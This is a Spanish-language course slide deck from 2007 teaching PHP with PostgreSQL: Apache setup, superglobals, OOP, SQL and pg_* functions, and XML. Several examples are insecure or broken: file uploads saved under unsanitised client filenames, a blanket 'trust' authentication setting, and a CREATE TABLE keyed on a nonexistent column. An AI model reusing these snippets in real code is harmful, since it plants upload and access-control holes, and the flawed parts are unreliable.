101
PHP con PostgreSQL 03/12/2007 al 07/12/2007

Php Con Postgres

Embed Size (px)

DESCRIPTION

Curso de php con conexion a postgres, algo de arquitectura en oop y un poco de seguridad

Citation preview

Page 1: Php Con Postgres

PHP con PostgreSQL

03/12/2007 al 07/12/2007

Page 2: Php Con Postgres

Presentación del CursoDescripción:

• Tema: PHP con conexión a BD Postgres

• Horario: Lunes a Viernes de 15:00 a 18:30 y 19:30 a 22:00

• Instructor: Jorge Arévalo Bórquez – [email protected]

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso

Page 3: Php Con Postgres

Presentación del CursoEvaluación:

• 2 pruebas teóricas • Duración: 20 a 30 minutos.• Días: Miércoles y Jueves.• Hora: 15:00

Su promedio valdrá el 50% de la nota final del curso.

• 1 prueba práctica• Duración: 3 horas.• Día: Viernes• Hora: 18:00

Valdrá un 50% de la nota final del curso.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso

Page 4: Php Con Postgres

Introducción¿Qué es PHP?

PHP es un lenguaje de programación usado normalmente para la creación de páginas web dinámicas. PHP es un acrónimo recursivoque significa "PHP Hypertext Pre-processor" (inicialmente PHP Tools, o, Personal Home Page Tools), y se trata de un lenguaje interpretado. Últimamente también puede ser utilizado para la creación de otro tipo de programas incluyendo aplicaciones con interfaz gráfica usando las librerías Qt o GTK+.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 5: Php Con Postgres

Introducción¿Qué es PostgreSQL?

PostgreSQL es un servidor de base de datos objeto relacionallibre, liberado bajo la licencia BSD. Como muchos otros proyectos open source, el desarrollo de PostgreSQL no es manejado por una sola compañía sino que es dirigido por una comunidad de desarrolladores y organizaciones comerciales las cuales trabajanen su desarrollo, dicha comunidad es denominada el PGDG(PostgreSQL Global Development Group).

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 6: Php Con Postgres

IntroducciónRequerimientos:

• Un Servidor Web, por ejemplo Apache (http://httpd.apache.org)

• Un intérprete PHP (http://www.php.net)

• Un Servidor de BD Postgres (http://www.postgresql.org, http://www.postgresql.cl)

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 7: Php Con Postgres

IntroducciónInstalación de Apache y PHP:

Inicialmente usaremos la instalación a través de RPMs de Apache, incluyendo el módulo PHP.

Más tarde compilaremos los fuentes de modo de optimizar la ejecución.

Si no está instalada la interfaz gráfica de paquetes.

~ sudo yum install httpd httpd-devel httpd-suexec~ sudo yum install php

Probar en un navegador con la dirección http://localhost

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 8: Php Con Postgres

IntroducciónInstalación de PostgreSQL:

Inicialmente usaremos la instalación a través de RPMs de postgresql, incluyendo el módulo para que PHP se pueda comunicar con PostgreSQL.

Más tarde compilaremos los fuentes de modo de optimizar la ejecución.

Si no está instalada la interfaz gráfica de paquetes.

~ sudo yum -y install postgresql postgresql-server php-pgsql

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 9: Php Con Postgres

IntroducciónConfiguración Básica de Apache:

Los ficheros de configuración están en : /etc/httpdLos ficheros de log en : /var/log/httpdLos ficheros de módulos en : /usr/lib/httpd/modules

~ sudo chkconfig httpd on

El archivo de configuración principal de Apache es httpd.conf

ServerTokens Prod# Lo queremos a Prod, para impeder que el resto de la gente sepa que versión de apache estamos utilizando

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 10: Php Con Postgres

IntroducciónConfiguración Básica de Apache:

Después de los <IfModule *>

Listen 192.168.1.100:80Listen 192.168.1.101:81# Ponemos Apache a escuchar por la IP en la que vamos a servir el contenido

Después de la lista de módulos

ServerAdmin [email protected]

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 11: Php Con Postgres

IntroducciónConfiguración Básica de Apache:

DirectoryIndex index.html index.php index.htm# El órden de búsqueda de documentos de apache Primero buscará el index.html, luego el index.php y luego el index.htm

ServerSignature OFF# Para evitar mostrar la versión de apache en los ficheros de Error

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 12: Php Con Postgres

IntroducciónConfiguración Básica de Apache:

NameVirtualHost 192.168.1.101:80<VirtualHost 192.168.1.101:80>ServerName cursophp.orgServerAlias *.cursophp.orgDocumentRoot /usr/local/cursophpErrorLog logs/cursophp.error.logCustomLog logs/cursophp.access.log combinedServerAdmin [email protected]</VirtualHost>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 13: Php Con Postgres

IntroducciónConfiguración Básica de PostgresSQL:

Crear el primer usuario y base de datos:

su – postgrespsql template1

psql# create user web_user; psql# create database web_database owner web_user; psql# \q

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 14: Php Con Postgres

IntroducciónConfiguración Básica de PostgresSQL:

Editar el archivo /var/lib/pgsql/data/pg_hba.conf

local all all trust

Reiniciar el servidor

/sbin/service postgresql restart

Las base de datos se encuentran en:

psql -U web_user web_database

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción

Page 15: Php Con Postgres

Introducción a PHP¡Hola Mundo!

Crear el archivo /usr/local/cursophp/holamundo.php con el siguiente contenido:

<html><head>

<title>Ejemplo</title></head><body>

<h3>Mi primer ejemplo php</h3><?php echo "hola mundo"; ?> <hr>

</body></html>

PHP con Postgres – Linux Center – Clase 1 – Introducción a PHP

Page 16: Php Con Postgres

Introducción a PHPTags Delimitadores de Código :

El código PHP debe ir dentro de tags php, los cuales pueden ser cualquiera de los siguientes:

• <? ?>

• <?php ?>

• <script language=“php”></script>

• <% %>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 17: Php Con Postgres

Introducción a PHPVariables:

PHP es un lenguaje débilmente tipado: el intértprete decidirá el tipo de la variable según su contenido.

Los principales tipos de datos que soporta son:

• Enteros• Punto Flotante• Cadenas• Lógicos• Vectores• Objetos

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 18: Php Con Postgres

Introducción a PHPVariables:

Los nombres de las variables son Case Sensitive, un signo $delante del nombre advierte que es una variable (su uso es obligatorio).

Pueden asignarse por valor y por refencia.Por valor: $a=$b;Por referencia: $a=&$b;

Ya que el signo peso indica el uso de la variable que tiene comonombre el texto que le sigue, podemos tener “nombres de variables variables”. Ejemplo :$var=“mivariable”;$$var es equivalente a $mivariable

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 19: Php Con Postgres

Introducción a PHPStrings:

Los Strings en php se concatenan usando el operador . y pueden especificarse usando comillas simples o dobles como delimitadores.

Las comillas simples (‘’) hacen un uso literal de los caracteres que incluya.

Las comillas dobles: reemplazarán las variables que aparezcan por sus valores, y los caracteres de escape estilo C (\n, \t, etc.)

Para representar comillas dobles uso el carácter de escape \”

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 20: Php Con Postgres

Introducción a PHPVectores:

En php existen 2 clases de vectores:• Escalares: cada posición es identificada por un número.

$a[0]=“Hola”;$a[1]=“Mundo”;$a[]=“!”;

$b=array(“Hola”, “Mundo”, “!”);• Asociativos (Hash): cada elemento es identificado por una cadena

$c[“nombre”]=“Silvia”;$c[“edad”]=21;

$d=array(“nombre”=>”Silvia”, “edad”=>21);

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 21: Php Con Postgres

Introducción a PHPSentencias de control:

Falta completar

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 22: Php Con Postgres

Introducción a PHPFunciones:

Para definir una función, basta con escribir la palabra reservada function seguida del nombre de la función y a continuación la lista de parámetros entre paréntesis. El cuerpo de la función se escribe, a continuación, entre llaves.

Function miFunction($arg1, $arg2, … , $argN){//Cuerpo de la funciónreturn $valorDeRetorno;

}

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP

Page 23: Php Con Postgres

Introducción a PHPVariables AutoGlobales:

Desde la versión 4.1.0 de PHP existen un conjunto de vectores que contienen variables de las transacciones HTTP, el servidor y el usuario.

Estas son automáticamente accesibles desde cualquier script y desde cualquier parte de él.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales

Page 24: Php Con Postgres

Introducción a PHPVariables AutoGlobales:

Estos vectores asociativos son:$GLOBALS Contiene una referencia a cada variable accesible desde el script.$_SERVER Contiene información del servidor.$_GET Variables pasadas via HTTP GET.$_POST Variables pasadas al script vía HTTP POST.$_COOKIE Variables pasadas al script vía cookies HTTP.$_FILES Variables que controlan la subida de ficheros mediante HTTP.$_ENV Variables de entorno.$_REQUEST Une el contenido de $_GET, $_POST y $_COOKIE.$_SESSION Variables registradas en la sesión actual.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales

Page 25: Php Con Postgres

Introducción a PHP$_SERVER:

'PHP_SELF‘

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://cursophp.org/test_php/prueba.php sería /test_php/prueba.php

'SERVER_NAME'El nombre del servidor anfitrión bajo el que está siendo ejecutado el script actual. Si el script está corriendo en un host virtual, éste será el valor definido para tal host virtual.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales

Page 26: Php Con Postgres

Introducción a PHP$_SERVER:

'REQUEST_METHOD'Cuál método de petición fue usado para acceder a la página; i.e.'GET', 'HEAD', 'POST‘.

'QUERY_STRING'La cadena de consulta, si existe, mediante la cual se accedió a la página

'DOCUMENT_ROOT' El directorio raíz de documentos bajo el que está siendo ejecutado el script actual, tal y como se define en el archivo de configuración del servidor.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales

Page 27: Php Con Postgres

Introducción a PHP$_SERVER:

'HTTP_USER_AGENT'Contenidos de la cabecera User_Agent: de la petición actual, si existe. Esta es una cadena que denota el agente de usuario que está accediendo a la página. Un ejemplo típico es: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)

'REMOTE_ADDR'La dirección IP desde donde el usuario está observado la página actual.

'SCRIPT_FILENAME'La ruta absoluta del nombre del script siendo ejecutado actualmente

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales

Page 28: Php Con Postgres

Introducción a PHP$_COOKIE:

Es un vector asociativo que contiene cada una de las cookies que el usuario tenga registradas y hayan sido enviadas por el servidor en la cabecera http.

Se crean con la función:setcookie(Nombre, Valor, Tiempo_Vida, Path, Dominio, Seguro);

Si se crea una cookie con el nombre, path y dominio de otra, esta se reemplaza por la nueva. (En algunos casos, basta con que coincida el nombre.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales

Page 29: Php Con Postgres

Introducción a PHP$_SESSION:

Se comienza una sesión (en caso de que aún no haya comenzado) con la función session_start () ;

Para borrar una variable ya asignada a sesión usamos: unset($_SESSION[“nombre_dato”]);

Para terminar una sesión usamos: session_destroy();

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales

Page 30: Php Con Postgres

Introducción a PHP$_FILES:

Cuando en un formulario HTML se envia un archivo, este copiado a una carpeta temporal en el servidor y envia la información en las cabeceras. PHP puede recuperar esta información mediante el arreglo asociativo $_FILES.Para guardarlo hacemos lo siguiente:<? $destino = 'uploaded' ; move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); ?>

Donde $_FILES['file']['tmp_name'] identificara el archivo temporal subido al servidor, $destino, la carpeta en la que lo queremos mover y $_FILES['file']['name'] el nombre original del archivo.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales

Page 31: Php Con Postgres

Introducción a PHP$_FILES:

Además también podemos conocer otros parámetros del fichero subido como por ejemplo el tamaño, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){

move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino. '/' . $_FILES [ 'file' ][ 'name' ]); } else

echo "El tamaño es superior al permitido" ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type'];

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales

Page 32: Php Con Postgres

Introducción a PHP$_FILES:

Además también podemos conocer otros parámetros del fichero subido como por ejemplo el tamaño, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){

move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino. '/' . $_FILES [ 'file' ][ 'name' ]); } else

echo "El tamaño es superior al permitido" ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type'];

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales

Page 33: Php Con Postgres

Orientación a ObjetosIntroducción:

La Programación Orientada a Objetos (POO u OOP según sus siglas en inglés) es un paradigma de programación que usa objetos y sus interacciones para diseñar aplicaciones y programas de computadora. Está basado en varias técnicas, incluyendo herencia, modularidad, polimorfismo, y encapsulamiento. Su uso se popularizó a principios de la década de 1990. Actualmente varios lenguajes deprogramación soportan la orientación a objetos.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 34: Php Con Postgres

Orientación a ObjetosObjetos:

Los objetos son entidades que combinan estado, comportamiento e identidad. El estado está compuesto de datos, y el comportamiento por procedimientos o métodos. La identidad es una propiedad de un objeto que lo diferencia del resto. La programación orientada a objetosexpresa un programa como un conjunto de estos objetos, que colaboran entre ellos para realizar tareas. Esto permite hacer los programas y módulos más fáciles de escribir, mantener y reutilizar.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 35: Php Con Postgres

Orientación a ObjetosClases:

Corresponde a la definición de las propiedades (atributos) y comportamiento (métodos) de un tipo genérico de objetos. Al proceso de crear un objeto desde una clase se le conoce como instanciación.

Debemos diferenciar, varios tipos de clases. En una primera instancia, veremos las clases concretas y las clases abstractas.

Las primeras son clases que tienen como objetivo, ser instanciadas y por tanto, se convierten en un “tipo de datos especial”

Las clases abstractas por el contrario, no se espera (y en muchos casos no se puede) que se instancien. Su objetivo es servir como base a nuevas clases más específicas.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 36: Php Con Postgres

Orientación a ObjetosCaracterísticas: Abstracción

Cada objeto en el sistema sirve como modelo de un "agente" abstracto que puede realizar trabajo, informar y cambiar su estado, y "comunicarse" con otros objetos en el sistema sin revelar cómo se implementan estas características. Los procesos, las funciones o los métodos pueden también ser abstraídos y cuando lo están, una variedad de técnicas son requeridas para ampliar una abstracción.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 37: Php Con Postgres

Orientación a ObjetosCaracterísticas: Encapsulamiento

Significa reunir a todos los elementos que pueden considerarse pertenecientes a una misma entidad, al mismo nivel de abstracción.

Esto permite aumentar la cohesión de los componentes del sistema.

Algunos autores confunden este concepto con el principio de ocultación, principalmente porque se suelen emplear conjuntamente.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 38: Php Con Postgres

Orientación a ObjetosCaracterísticas: Ocultamiento

Cada objeto está aislado del exterior, es un módulo natural, y cada tipo de objeto expone una interfaz a otros objetos que especifica cómo pueden interactuar con los objetos de la clase. El aislamiento protege a las propiedades de un objeto contra su modificación por quien notenga derecho a acceder a ellas, solamente los propios métodos internos del objeto pueden acceder a su estado.

Esto asegura que otros objetos no pueden cambiar el estado interno de un objeto de maneras inesperadas, eliminando efectos secundarios e interacciones inesperadas. Algunos lenguajes relajan esto, permitiendo un acceso directo a los datos internos del objeto de una manera controlada y limitando el grado de abstracción. La aplicación entera se reduce a un agregado o rompecabezas de objetos.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 39: Php Con Postgres

Orientación a ObjetosCaracterísticas: Polimorfismo

Comportamientos diferentes, asociados a objetos distintos, pueden compartir el mismo nombre, al llamarlos por ese nombre se utilizará el comportamiento correspondiente al objeto que se esté usando. O dicho de otro modo, las referencias y las colecciones de objetospueden contener objetos de diferentes tipos, y la invocación de un comportamiento en una referencia producirá el comportamiento correcto para el tipo real del objeto referenciado.

Cuando esto ocurre en "tiempo de ejecución", esta última característica se llama asignación tardía o asignación dinámica. Algunos lenguajes proporcionan medios más estáticos (en "tiempo de compilación") de polimorfismo, tales como las plantillas y la sobrecarga de operadores de C++.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 40: Php Con Postgres

Orientación a ObjetosCaracterísticas: Herencia

Las clases no están aisladas, sino que se relacionan entre sí, formando una jerarquía de clasificación. Los objetos heredan laspropiedades y el comportamiento de todas las clases a las que pertenecen.

La herencia organiza y facilita el polimorfismo y el encapsulamientopermitiendo a los objetos ser definidos y creados como tipos especializados de objetos preexistentes.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP

Page 41: Php Con Postgres

OOP en PHPCreación de Clases:

Se debe seguir la siguiente estructura para crear una clase:

<? class NombreDeClase{var $atributo1, $atributo2, …, $atributoN;function nombreDeClase($arg1, …, $argN){

//Constructor de la clase}function metodoNumero1($arg1, …, $argN){}…function metodoNumero2($arg1, …, $argN){}

} ?>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4

Page 42: Php Con Postgres

OOP en PHPInstanciación:

Para crear un objeto desde una clase, lo hacemos mediante el operador new:

$miObjeto=new NombreDeClase(arg1, …, argN);

Para acceder a sus métodos, usamos el operador -> :$retorno=$miObjeto->metodoNumero1(arg1, …, argN);

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4

Page 43: Php Con Postgres

OOP en PHPHerencia:

Para diseñar una clase que herede de (o extienda a) otra clase debemos usar la palabra clave extends de la siguiente manera:

class ClaseEspecifica extends ClasePadre{var $nuevosAtributos;function ClaseEspecifica($arg1, …, $argN){

//constructor}function nuevoMetodo($arg1, …, $argN){}

}

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4

Page 44: Php Con Postgres

OOP en PHPEjercicio:

1. Diseñar una clase que represente a un contacto dentro de nuestraagenda.

2. Diseñar una clase que represente a la agenda.

Lo anterior permitiendo que se guarden los datos en cookies como la última vez, pero delegando estas responsabilidades a quien corresponda.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4

Page 45: Php Con Postgres

Operadores de PHPAritméticos:

$a + $b Suma$a - $b Resta$a * $b Multiplicación$a / $b División$a % $b Módulo (Resto de división entera)$a++ Incremento (Retorna después incrementa)++$a Incremento (Incrementa después retorna)$a-- Decremento (Retorna después decrementa)--$a Decremento (Decrementa después retorna)$a+=$b Incrementa $a en $b unidades$a-=$b Decrementa $a en $b unidades

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores

Page 46: Php Con Postgres

Operadores de PHPComparación:

$a == $b Igual$a === $b Idéntico$a != $b Distinto$a <> $b Distinto$a !== $b No idéntico$a < $b Menor que$a > $b Mayor que$a <= $b Menor o igual que$a >= $b Mayor o igual que

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores

Page 47: Php Con Postgres

Operadores de PHPLógicos:

$a and $b AND$a or $b OR$a xor $b XOR! $a NOT$a && $b AND$a || $b OR$a?$b:$c Tiene como valor $b siempre que $a sea verdadero

y $c en caso contrario.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores

Page 48: Php Con Postgres

PostgreSQLIntroducción:

• Es un gestor de base de datos relacional

• Es de codigo abierto bajo licencia BSD

• Es multiplataforma

• Tiene un alto nivel de seguridad

• Existe una amplia comunidad que nos ayuda con el soporte

• Ofrece Integridad referencial

• Maneja las concurrencias

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – PostgreSQL

Page 49: Php Con Postgres

PostgreSQL - Sentencias SQLCreación de tablas:

create table contactos (id INT,nombre VARCHAR(20),edad INT,correo VARCHAR(20),primary key (id_persona));

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL

Page 50: Php Con Postgres

PostgreSQL - Sentencias SQLModificación de tablas:

alter table contactos add column telefono VARCHAR(10);

alter table contactosdrop column telefono;

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL

Page 51: Php Con Postgres

PostgreSQL - Sentencias SQLManejo registros:

insert into contactos(id,nombre,edad,correo) values(1,’Jorge’,25,’[email protected]’);

update contactos setnombre=‘Jorge Arevalo’ where id=1;

delete from contactos where id=1;

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL

Page 52: Php Con Postgres

PostgreSQL - Sentencias SQLCrear Consultas:

select * from contactos where nombre like ‘J%’;

Create view vista_jotas as select * from contactos where nombre like ‘J%’;

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL

Page 53: Php Con Postgres

PostgreSQL desde PHPConfiguración:

Debemos asegurarnos que el archivo php.ini(habitualmente en /usr/local/lib ) contenga la linea:

extension=pgsql.so en linux y

extension=pgsql.dll en windows

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PostgreSQL

Page 54: Php Con Postgres

PostgreSQL desde PHPEjemplo:

<?php$conexion_bd = pg_connect("host=localhost dbname=web_database user=web_user")or die('No pudo conectarse: ' . pg_last_error());$consulta = 'SELECT * FROM autores';$resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error());echo "<table>\n";while ($linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)) {

echo "\t<tr>\n";foreach ($linea as $valor_col) {

echo "\t\t<td>$valor_col</td>\n";}echo "\t</tr>\n";

}echo "</table>\n";pg_free_result($resultado);pg_close($conexion_bd);

?>PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 55: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis):

$conexion_bd = pg_connect("host=localhostdbname=web_database user=web_user")or die('No pudo conectarse: ' . pg_last_error());

pg_connect retorna un apuntador a la conexión, que será guardado en $conexion_bd recibe un único parámetro que corresponde a la cadena de conexión.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 56: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis – pg_connect):

En esta cadena pueden definirse los siguientes parámetros:

• host La máquina donde escucha el servidor PostgreSQL• port Puerto de conexión.• tty TTY a utilizar. Interesante a la hora de depurar.• options Opciones adicionales.• dbname Nombre de la base de datos a la que se quiere conectar.• user Nombre del usuario PostgreSQL con el que se realizará la conexión. • pass Contraseña para la conexión.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 57: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis):

$conexion_bd = pg_connect("host=localhostdbname=web_database user=web_user")or die('No pudo conectarse: ' . pg_last_error());

or die() realiza un echo del string que recibe como parametroen caso de que la llamada a alguna función resulte en un error.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 58: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis):

$consulta = 'SELECT * FROM autores';$resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error());

$consulta corresponde al string que representa la consulta.pg_query($consulta) retorna un apuntador a un resultado de consulta (no me ofrece forma de manejarlo).

La función pg_query() debe tener alguna de las 2 formas siguientes:• $result=pg_query($conexion,$consulta);• $result=pg_query($consulta);

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 59: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis):

$linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)En $linea almacenará la siguiente fila del resultado en forma de arrayasociativo usando el nombre del campo como clave.

Los parámetros que recibe pg_fetch_array() son, en orden de izquierda a derecha:• $resultado apuntador al conjunto de resultados• $row entero que indica la fila dentro del conjunto de resultados que se desea recuperar, null en caso que queramos recuperar la siguiente a la última que se recuperó.• $result_type entero que indica de que manera debe retornar la fila: PGSQL_ASSOC (Arreglo asociativo) PGSL_NUM (Arreglo escalar) PGSQL_BOTH (Ambos)

Si la fila que se pretende recuperar no existe retorna false

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 60: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis – manejar resultados):

Existen otras funciones que nos permiten recuperar los resultados:

• pg_fetch_all Devuelve un vector que contiene todos los registros devueltos por la consulta.

• pg_fetch_array Devuelve la siguiente fila del resultado en forma de vector. El primer elemento será la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra más registros.

• pg_fetch_assoc Devuelve la siguiente fila del resultado en forma de vector asociativo. Como claves del vector usa los nombres de loscampos. Devuelve falso si no encuentra más registros.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 61: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis – manejar resultados):

• pg_fetch_object Devuelve una fila del resultado en forma de objeto. Por cada columna de la fila existirá un atributo del mismo nombre.

• pg_fetch_result Devuelve un valor de un resultado. Se le especifica fila y columna.

• pg_fetch_row Devuelve una fila del resultado en forma de vector. El primer elemento será la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra más registros.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 62: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis – manejar resultados):

Tenemos también la función pg_num_rows($result) que devuelve la cantidad de filas en el resultado apuntado por $result

Y también la función pg_affected_rows($result) que devuelve la cantidad de filas afectadas por una sentencia sql de update.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 63: Php Con Postgres

PostgreSQL desde PHPEjemplo (Análisis):

Será necesario liberar la memoria que estaba usando el conjunto de resultados, para ello usamos la función:

pg_free_result($resultado);

Lo mismo habrá que hacer con la base de datos.

pg_close($conexion_bd);

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 64: Php Con Postgres

PostgreSQL desde PHPEjercicio:

Modificar nuestra agenda, de modo que se guarden los datos en la BD.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL

Page 65: Php Con Postgres

XMLIntroducción:

XML, sigla en inglés de eXtensible Markup Language, es un metalenguaje extensible de etiquetas desarrollado por el World Wide Web Consortium (W3C).

Es una simplificación y adaptación del SGML y permite definir la gramática de lenguajes específicos (de la misma manera que HTML es a su vez un lenguaje definido por SGML).

Por lo tanto XML no es realmente un lenguaje en particular, sinouna manera de definir lenguajes para diferentes necesidades. Algunos de estos lenguajes que usan XML para su definición son XHTML, SVG, MathML.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML

Page 66: Php Con Postgres

XML¿Para qué sirve?:

XML no ha nacido sólo para su aplicación en Internet, sino que se propone como un estándar para el intercambio de información estructurada entre diferentes plataformas.

Se puede usar en bases de datos, editores de texto, hojas de cálculo y casi cualquier cosa imaginable.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML

Page 67: Php Con Postgres

XMLVentajas:

• Es extensible, lo que quiere decir que una vez diseñado un lenguaje y puesto en producción, igual es posible extenderlo conla adición de nuevas etiquetas de manera de que los antiguos consumidores de la vieja versión todavía puedan entender el nuevo formato.

• El analizador es un componente estándar, no es necesario crear un analizador específico para cada lenguaje. Esto posibilita el empleo de uno de los tantos disponibles. De esta manera se evitan bugs y se acelera el desarrollo de la aplicación.

• Si un tercero decide usar un documento creado en XML, es sencillo entender su estructura y procesarlo. Mejora la compatibilidad entre aplicaciones.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML

Page 68: Php Con Postgres

XMLEjemplo de XML:

<?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE Edit_Mensaje SYSTEM "Lista_datos_mensaje.dtd" [<!ELEMENT Edit_Mensaje (Mensaje)*>]> <Edit_Mensaje>

<Mensaje> <Remitente>

<Nombre>Nombre del remitente</Nombre> <Mail> Correo del remitente </Mail> </Remitente><Destinatario>

<Nombre>Nombre del destinatario</Nombre><Mail>Correo del destinatario</Mail>

</Destinatario> <Texto>

<Parrafo> Este es mi documento con una estructura muy sencilla nocontiene atributos ni entidades....

</Parrafo> </Texto>

</Mensaje> </Edit_Mensaje>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML

Page 69: Php Con Postgres

XMLEjemplo de DTD:

<?xml version="1.0" encoding="ISO-8859-1" ?> <!-- Este es el DTD de Edit_Mensaje --> <!ELEMENT Mensaje (Remitente, Destinatario, Asunto, Texto)*>

<!ELEMENT Remitente (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)>

<!ELEMENT Destinatario (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)>

<!ELEMENT Asunto (#PCDATA)> <!ELEMENT Texto (Parrafo)>

<!ELEMENT Parrafo (#PCDATA)>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs

Page 70: Php Con Postgres

XMLDTD:

<!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) >* Indica que el elemento puede aparecer 0 ó más veces+ indica que el elemento puede aparecer 1 ó más veces? Indica que el elemento puede aparecer 0 ó 1 vez

<!ELEMENT nombre (sEl1|sEl2) >| indica que debo elegir alguno de los dos elementos

<!ELEMENT nombre (#PCDATA|sEl1) >Para aceptar que un elemento tenga texto o subelementos

